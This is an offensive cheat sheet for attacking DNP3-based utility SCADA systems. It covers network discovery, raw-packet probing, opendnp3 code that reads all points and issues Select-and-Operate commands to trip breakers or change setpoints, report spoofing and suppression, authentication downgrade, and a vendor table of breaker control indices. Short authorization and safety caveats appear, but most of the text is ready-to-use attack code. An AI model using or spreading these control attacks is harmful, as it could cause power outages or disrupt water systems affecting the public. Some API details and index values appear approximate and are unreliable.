DNP3 Attack — Utility SCADA
DNP3 is the dominant protocol in North American electric utilities (substations, RTUs) and water/wastewater. TCP/20000.
Discover
# nmap
nmap -p 20000 --script=dnp3-info 10.0.0.0/24
# Or pyOPENDNP3 / pydnp3 / dnp3-toolkit
# Quick test:
python3 -c '
import socket, struct
# DNP3 link layer Start (0x05 0x64), Length, Control, Dest, Src
pkt = b"\x05\x64\x05\xc0\x00\x00\x01\x00\xa5\xa1"
s = socket.socket(); s.connect(("10.0.0.50", 20000)); s.send(pkt)
print(s.recv(256).hex())
'
Read attacks (passive — generally safe)
# pydnp3 (or opendnp3 Python binding) — read class 0, 1, 2, 3 data
import opendnp3
# ... master init + asyncrun ...
# Class 0 = static (current value of every point)
# Class 1/2/3 = events (changes)
master.ScanClasses([0, 1, 2, 3])
# Output: a dump of every binary/analog/counter/control point's state.
Control attacks (potentially HIGH IMPACT)
Control Relay Output Block (CROB) — trip / close a breaker
# Group 12 Var 1 CROB — operation field controls action
# trip = 0x81, close = 0x41, pulse on = 0x01
import opendnp3
crob = opendnp3.ControlRelayOutputBlock(opendnp3.ControlCode.LATCH_ON)
res = master.SelectAndOperate(crob, 5) # select+operate on index 5
# Index 5 might be "circuit breaker 5 trip" — opens the breaker.
This is the single most dangerous DNP3 primitive: a successful Select+Operate on the right index can trip transmission breakers, open dam gates, shut off pumps.
Analog Output Block (AOB) — setpoint
aob = opendnp3.AnalogOutputInt16(value=100)
master.SelectAndOperate(aob, 3)
# index 3 might be voltage setpoint, water level, etc.
Unsolicited reporting abuse
DNP3 supports outstation-initiated reports. An attacker positioned between master and outstation can:
- Inject fake unsolicited reports (false alarms) — operator response cascade
- Suppress real reports — operator blind during a real fault
- Reply with stale data via timestamp tampering (Group 50 Var 1)
DNP3 Secure Authentication (DNP3-SA) downgrade
DNP3-SA adds HMAC-based message authentication. Many implementations support both authenticated and unauthenticated modes for backward compatibility:
# Send unauthenticated control with a "session key change" request
# If outstation accepts ANY pre-shared key, the implementation is broken.
# Check via opendnp3.SecureAuthentication examples.
Many older RTUs don't support DNP3-SA at all — full unauthenticated control plane.
Tooling
# dnp3-toolkit (pen-test focused)
pip install dnp3-toolkit
dnp3-scan 10.0.0.0/24
dnp3-info 10.0.0.50
# Free Modbus / DNP3 simulator (for testing PoCs offline before live engagement)
opendnp3 examples — github.com/dnp3/opendnp3
OPSEC + safety
- Critical safety: DNP3 controls the bulk electric power system (in North America). Trip operations cause real outages. SelectAndOperate on a transmission breaker can blackout neighborhoods. Require written scope authorization for any control-class action.
- ICS-CERT and EISAC actively monitor for unusual DNP3 traffic. Master-station IP changes are detected.
- DNP3 over modem (serial) is common in older substations — your network position must be at the SCADA master, not internet.
Reference indices for common deployments
| Vendor RTU | Common control indices |
|---|---|
| GE D20 | Breaker trip = 0-9, recloser = 10-19 |
| SEL-2440 | Per-feeder breaker = 16-23 |
| Schweitzer RTAC | Indices vary heavily by configuration |
Always confirm point map (POINT.CSV or DNP3 device profile) before any write.
References
- IEEE 1815 (DNP3 standard) and "DNP3 Application Layer" specification
- "Hacking the Electric Grid" — Daniel Crowley (Trustwave / X-Force Red)
- DEFCON 27 ICS Village "DNP3 Authentication Bypass"
- NERC CIP-007/CIP-005 (defender baseline — useful to understand what's audited)